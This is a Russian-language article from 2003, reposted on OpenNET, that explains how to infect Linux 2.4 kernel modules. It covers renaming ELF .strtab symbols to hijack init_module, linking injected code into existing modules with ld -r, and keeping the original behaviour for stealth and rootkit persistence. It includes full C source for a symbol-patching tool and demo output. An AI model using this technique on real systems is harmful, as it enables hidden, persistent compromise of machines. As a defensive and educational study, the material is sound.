The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Метод инфицирования системных модулей ядра Linux (kernel linux module elf security)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: kernel, linux, module, elf, security,  (найти похожие документы)
From: leePetitPrinces <[email protected]> Newsgroups: email Date: Mon, 28 Dec 2003 14:31:37 +0000 (UTC) Subject: Метод инфицирования системных модулей ядра Linux ---[ Intro ]--- Данный материал не является чем-то новым. Но он является новым для автора и ему хочеться поделиться этим с другими. Ему так же интересны ваши отзывы, так как автор является новичком в подобных вещах и он готов выслушать разумные и адекватные коментари. В статье использовались материалы сайта http://www.phrack.org. Есть вопросы? Тогда вам сюда: [email protected] URL http://zaya.spb.ru/infect_lkm.txt ---[ 0. Содержание ]--- 1. Введение 2. Основы ELF формата 2.1 .symtab секция 2.2 .strtab секция 3. Игра с LKM 3.1 Загрузка модуля 3.2 Изменение .strtab 3.3 Инъекция кода 3.4 Сохранение невидимости 4. Заключение 5. Исходный код elfstrch 6. Ссылки ---[ 1. Вступление ]--- В течении нескольких лет свет увидел множество руткитов использующих возможность загрузки модулей ядра (LKM). Это панацея? Не совсем, LKM повсеместно используется потому, что это действительно мощно: вы можете прятать файлы, процессы и другие полезные вещи ;) Первый руткит использующий LKM мог быть легко выявлен, потому, что он выводился по команде lsmod. Но время не стоит на месте и было придумано множество техник для сокрытия загруженного модуля, таких как описаны в докладе Plaguez'а [1] или более изощренного используемого в Adore Rootkit[2]. Несколько лет спустя был предложен метод основанный на изменении образа памяти ядра использую /dev/kmem [3]. И наконец, техника статического патча ядра [4]. Все они решают одну общую проблему: руткит должен быт загружен после перезагрузки системы. Основная идея данной статьи - это показать новую технологию сокрытия LKM и обеспечить ему загрузку при старте системы. Мы рассмотрим как это сделать методом заражения модулей ядра используемых системой. Данная статья рассматривает ядро Linux-2.4.х для x86, но эта же технология может быть применена и на других операционных системах, которые используют ELF формат. Некоторые знания относительного этого формата необходимы для понимания данной техники. По этому вначале мы немного изучим этот формат, в частности систему именования в ELF объектных файлах. Затем мы изучим механизм по которому загружаются модули ядра. И в конце-концов мы посмотрим как внедрить произвольны код в модуль, не повредив его и сохранив исходную функциональность. ---[ 2. Основы ELF формата ]--- Executable and Linking Format (ELF) - это формат выполняемого файла используемого в операционной системе Linux. Мы поковыряемся в той части этого формата, что необходима нам для понимания техники и что будет использовано далее. Когда линкуются два ELF объекта, линковщику необходимо знать некоторую информацию относительно связи символов в каждом объекте. Каждый ELF объект (LKM например) содержит две секции, цель которых хранение информационных структур описывающих символы ELF объекта. Давайте рассмотрим их. ---[ 2.1 .symtab секция ]--- Данная секция представляет из себя таблицу содержащую структуры данных необходимые линковщику для работы с символами содержащимися в ELF файле. Эти структуры описаны в файле /usr/include/elf.h /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; Нас интересует только поле st_name, что представляет из себя индекс в .strtab секции, в которой сохранено имя символа. ---[ 3.1 .strtab секция ]--- Этот раздел представляет из себя таблицу строк заканчивающих нулем (стандартные С строки, потому что микропроцессор PDP-7, на котором разрабатывались UNIX и C, имел такой строковый тип ASCIZ. ASCIZ означало "ASCII с нулём (zero) на конце"). Как мы видели выше, поле st_name структуры Elf32_Sym структуры - это индекс в .strtab, благодаря чему мы можем получить смещение строки содержащей имя символа по следующей формуле. offset_sym_name = offset_strtab + st_name offset_strtab - это смещение .strtab секции относительно начала файла. Это все вычисляется механизмом резолвинга имен секций, что не будет тут описано - так как это не самое интересно из того, что касается рассматриваемого вопроса. (Реализация может быть изучена в разделе 5) Мы можем сделать вывод, что имя символа может быть легко найдено и изменено в ELF объекте. На самом деле, это не совсем так, нам надо учитывать одно обстоятельство, что изменение имени на большее (по длине) сдвинет все остальные имена в файле, что потребует изменение всей таблицы .symtab. Потому новое имя не должно первышать исходное. ---[ 3.1 Загрузка модулей ]--- Модули ядра загружаются программой insmod, которая является частью пакета modutils. Интересующий нас код находиться в функции init_module() файла insmod.c static int init_module(const char *m_name, struct obj_file *f, unsigned long m_size, const char *blob_name, unsigned int noload, unsigned int flag_load_map) { (1) struct module *module; struct obj_section *sec; void *image; int ret = 0; tgt_long m_addr; .... (2) module->init = obj_symbol_final_value(f, obj_find_symbol(f, "init_module")); (3) module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, "cleanup_module")); .... if (ret == 0 && !noload) { fflush(stdout); /* Flush any debugging output */ (4) ret = sys_init_module(m_name, (struct module *) image); if (ret) { error("init_module: %m"); lprintf( "Hint: insmod errors can be caused by incorrect module parameters, " "including invalid IO or IRQ parameters.\n" "You may find more information in syslog or the output from dmesg"); } } Данная функция использует (1) для размещении структуры module, которая содержит данные необходимы для загрузки модуля. Нас интересуют поля init_module и cleanup_module, которые являются указателями на соответствующие функции init_module() и cleanup_module() загружаемого модуля. Функция obj_find_symbol() (2) извлекает структуру посредством поиска имени init_module в таблице символов. Извлеченная структура скармливается функции obj_symbol_final_value(), которая извлекает адрес функции init_module. Аналогичные операции проделываются и для cleanup_module() функции модуля (для тех кто в танке, функции init_module() и cleanup_module выполняются при загрузке модуля и при его выгрузке соответственно). Когда структура module окончательно заполнена необходимыми данными вызывается функция sys_init_module() (системный вызов на самом деле), которая загружает модуль в ядро. Ниже приведена интересующая нас часть системного вызова sys_init_module(), который вызывается в процессе инициализации модуля (см. выше). Код этой функции может быть найден в файле /usr/src/linux/kernel/module.c: asmlinkage long sys_init_module(const char *name_user, struct module *mod_user) { struct module mod_tmp, *mod; char *name, *n_name, *name_tmp = NULL; long namelen, n_namelen, i, error; unsigned long mod_user_size; struct module_ref *dep; /* Lots of sanity checks */ ..... /* Ok, that's about all the sanity we can stomach; copy the rest.*/ (1) if (copy_from_user((char *)mod+mod_user_size, (char *)mod_user+mod_user_size, mod->size-mod_user_size)) { error = -EFAULT; goto err3; } /* Other sanity checks */ .... /* Initialize the module. */ atomic_set(&mod->uc.usecount,1); mod->flags |= MOD_INITIALIZING; (2) if (mod->init && (error = mod->init()) != 0) { atomic_set(&mod->uc.usecount,0); mod->flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */ error = -EBUSY; goto err0; } atomic_dec(&mod->uc.usecount); После некоторых логичных проверок, структура module копируется из пользовательского пространства в пространство ядра вызовом copy_from_user() (1). Затем выполняется функция init_module() (2) нашего модуля посредством вызова mod->init(). ---[ 3.2 Изменение .strtab ]--- Как мы видим выше, что адрес init функции модуля располагается в ядре на основе данных секции строк .strtab. Изменение строки символа дает нам возможность выполнить функцию отличную от init_module(). Имеется несколько путей изменения записей в .strtab секции. Например опция -wrap программы ld, но она не совместима с опцией -r которая нам понадобиться позже (раздел 3.3). Потому была написана небольшая программа, которая занимается поставленной задачей (раздел 5). А вот и небольшой пример: $ cat test.c #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> int init_module(void) { printk ("Into init_module()\n"); return 0; } int evil_module(void) { printk ("Into evil_module()\n"); return 0; } int cleanup_module(void) { printk ("Into cleanup_module()\n"); return 0; } $ gcc -I/usr/src/linux/include -c test.c А теперь давайте посмотрим на .systab и .strtab секции нашего получившегося файла: $ objdump -t test.o test.o: file format elf32-i386 SYMBOL TABLE: 00000000 l df *ABS* 00000000 test.c 00000000 l d .text 00000000 00000000 l d .data 00000000 00000000 l d .bss 00000000 00000000 l d .modinfo 00000000 00000000 l O .modinfo 00000020 __module_kernel_version 00000000 l d .rodata 00000000 00000000 l d .note.GNU-stack 00000000 00000000 l d .comment 00000000 00000000 g F .text 00000019 init_module 00000000 *UND* 00000000 printk 00000019 g F .text 00000019 evil_module 00000032 g F .text 00000019 cleanup_module Мы изменим две записи секции .strtab для подмены символа init_module символом evil_module. Но вначале переименуем символ init_module, так как два символа с одинаковым названием недопустимы. Это будет выглядеть примерно так: init_module => dumm_module evil_module => init_module $ ./elfstrch test.o init_module dumm_module [+] Symbol init_module located at 0x458 [+] .strtab entry overwriten with dumm_module [+] Symbol evil_module located at 0x46b [+] .strtab entry overwriten with init_module $ objdump -t test.o test.o: file format elf32-i386 SYMBOL TABLE: 00000000 l df *ABS* 00000000 test.c 00000000 l d .text 00000000 00000000 l d .data 00000000 00000000 l d .bss 00000000 00000000 l d .modinfo 00000000 00000000 l O .modinfo 00000020 __module_kernel_version 00000000 l d .rodata 00000000 00000000 l d .note.GNU-stack 00000000 00000000 l d .comment 00000000 00000000 g F .text 00000019 dumm_module 00000000 *UND* 00000000 printk 00000019 g F .text 00000019 init_module 00000032 g F .text 00000019 cleanup_module Не трудно заметить, что функции поменялись местами ;) # insmod test.o Warning: loading test.o will taint the kernel: no license See http://www.tux.org/lkml/#export-tainted for information about tainted modules Module test loaded, with warnings # dmesg | tail -n1 Into evil_module() Ну вот, произошло что и следовало ожидать - evil_module() был выполнен в место init_module(). ---[ 3.3 Инъекция кода ]--- Представленная выше технология позволяет выполнить одну функцию заместо другой. Но это не сильно интересно, намного полезнее научиться внедрять свой код в уже созданные модули. Это может быть легко сделано с использованием превосходного линковщика - ld: $ cat original.c #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> int init_module(void) { printk ("Into init_module()\n"); return 0; } int cleanup_module(void) { printk ("Into cleanup_module()\n"); return 0; } $ cat inject.c #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> int inje_module (void) { printk ("Injected\n"); return 0; } $ gcc -I/usr/src/linux/include -c original.c $ gcc -I/usr/src/linux/include -c inject.c Тут начинается самая важная часть. Внедрение кода не представляет большой проблемы, так как модули ядра relocatable ELF объекты. Объекты данного типа могут быть легко слинкованы вместе для предоставления символов и дополнения друг друга. Однако, одно правило должно быть учтено: одно и тоже имя не может присутствовать в двух модулях. Мы будем использовать ld с опцией -r для создания объекта такой же природы из которых он создается (прямо высшие материи пошли :) Это создаст модуль, который может быть загружен ядром. $ ld -r original.o inject.o -o evil.o $ objdump -t evil.o evil.o: file format elf32-i386 SYMBOL TABLE: 00000000 l d .text 00000000 00000000 l d *ABS* 00000000 00000000 l d .rodata 00000000 00000000 l d .modinfo 00000000 00000000 l d .data 00000000 00000000 l d .bss 00000000 00000000 l d .comment 00000000 00000000 l d .note.GNU-stack 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l df *ABS* 00000000 original.c 00000000 l O .modinfo 00000016 __module_kernel_version 00000000 l df *ABS* 00000000 inject.c 00000016 l O .modinfo 00000016 __module_kernel_version 00000019 g F .text 00000019 cleanup_module 00000000 g F .text 00000019 init_module 00000000 *UND* 00000000 printk 00000034 g F .text 00000019 inje_module Функция inje_module успешно слинковалась в наш новый модуль. Теперь нам нужно всего лишь изменить .strtab секцию, для подмены init_module нашей новой функцией. $ ./elfstrch evil.o init_module dumm_module [+] Symbol init_module located at 0x564 [+] .strtab entry overwriten with dumm_module $ ./elfstrch evil.o inje_module init_module [+] Symbol inje_module located at 0x577 [+] .strtab entry overwriten with init_module А теперь давайте проверим все это на действии ;) # insmod evil.o Warning: loading evil.o will taint the kernel: no license See http://www.tux.org/lkml/#export-tainted for information about tainted modules Module evil loaded, with warnings # dmesg |tail -n 1 Injected ---[ 3.4 Сохранение невидимости ]--- Так как инфицироваться будут в основном загружаемые модули, полезно сохранить их прежнюю функциональность. Так как иначе наш инфицированый модуль будет легко замечен. Для этого нужно выполнить вполне простую и очевидную вешь. В нашем коде должны быть вызовы исходные функции init_module() и cleanup_module(). Для этого подправим наш код: $ cat stealth.c #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> int inje_module (void) { /* Вызовим исходную функцию модуля */ dumm_module (); printk (" Injected\n"); return 0; } int evclean_module (void) { /* Аналогично */ cleanup_orignl (); return 0; } Теперь нужно произвести следующие замены: init_module => dumm_module cleanup_module => cleanup_orignl inje_module => init_module evclean_module => cleanup_module После сих не хитрых телодвижений исходный модуль не теряет своей функциональности, но помимо того, доставляет нам немало радости выполнением внедренного кода ;) ---[ 4. Заключение ]--- У данного метода есть один недостаток. Если мы хотим сохранить модуль в памяти после перезагрузки - мы дожны изменить системный модуль загружаемый при старте в каталоге /lib/modules/. Но тогда хорошо настроенная HIDS (Host Intrusion Detection System, like Tripwire) обнаружит его. С другой стороны модуль ядра не является загружаемым (+x) и не является SUID'ным файлом, так что сохраняется большая вероятность быть не замеченным. Вот так вот, товарисЧи сИс. админы, не прозевайте, а то ваш mii.o может стать вашим злейшим врагом. ---[ 5. Исходный код elfstrch ]--- Данный код не выделяется ничем примечательным. Хочеться отметить, что для полного его понимания неплохо бы знать как следует ELF формат. Изучить оный можно по ссылке http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf. /* * Оригинальный автор: * elfstrchange.c by truff <[email protected]> * Изменяет значение символьного имени в .strtab секции * * Использование: elfstrch elf_object sym_name sym_name_replaced * */ #include <stdlib.h> #include <stdio.h> #include <elf.h> #define FATAL(X) { perror (X); exit (EXIT_FAILURE); } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len); Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len); int main (int argc, char **argv) { int i; int len = 0; char *string; FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset; fd = fopen (argv[1], "r+"); if (fd == NULL) FATAL ("fopen"); if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) FATAL ("Elf header corrupted"); if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1) { fprintf (stderr, "Can't get .symtab section\n"); exit (EXIT_FAILURE); } if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1) { fprintf (stderr, "Can't get .strtab section\n"); exit (EXIT_FAILURE); } symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym); if (symoffset == -1) { fprintf (stderr, "Symbol %s not found\n", argv[2]); exit (EXIT_FAILURE); } printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset); if (fseek (fd, symoffset, SEEK_SET) == -1) FATAL ("fseek"); if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3])) FATAL ("fwrite"); printf ("[+] .strtab entry overwriten with %s\n", argv[3]); fclose (fd); return EXIT_SUCCESS; } Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { int i; char symname[255]; Elf32_Off offset; for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) FATAL ("Symtab corrupted"); memset (symname, 0, sizeof (symname)); offset = ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) return offset; } return -1; } int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted"); return 0; } int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable; /* * Get the section header string table */ ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable); memset (name, 0, sizeof (name)); for (i=0; i<ehdr->e_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted"); ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { return 0; } } return -1; } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek"); while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; } return 0; } Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek"); while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; } return (strtable->sh_offset + sym_name); } /* EOF */ ---[ 6. Ссылки ]--- [1] http://www.phrack.org/show.php?p=52&a=18 [2] http://stealth.7350.org/rootkits/ [3] http://vx.netlux.org/lib/vsc07.html [4] http://www.phrack.org/show.php?p=60&a=8

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру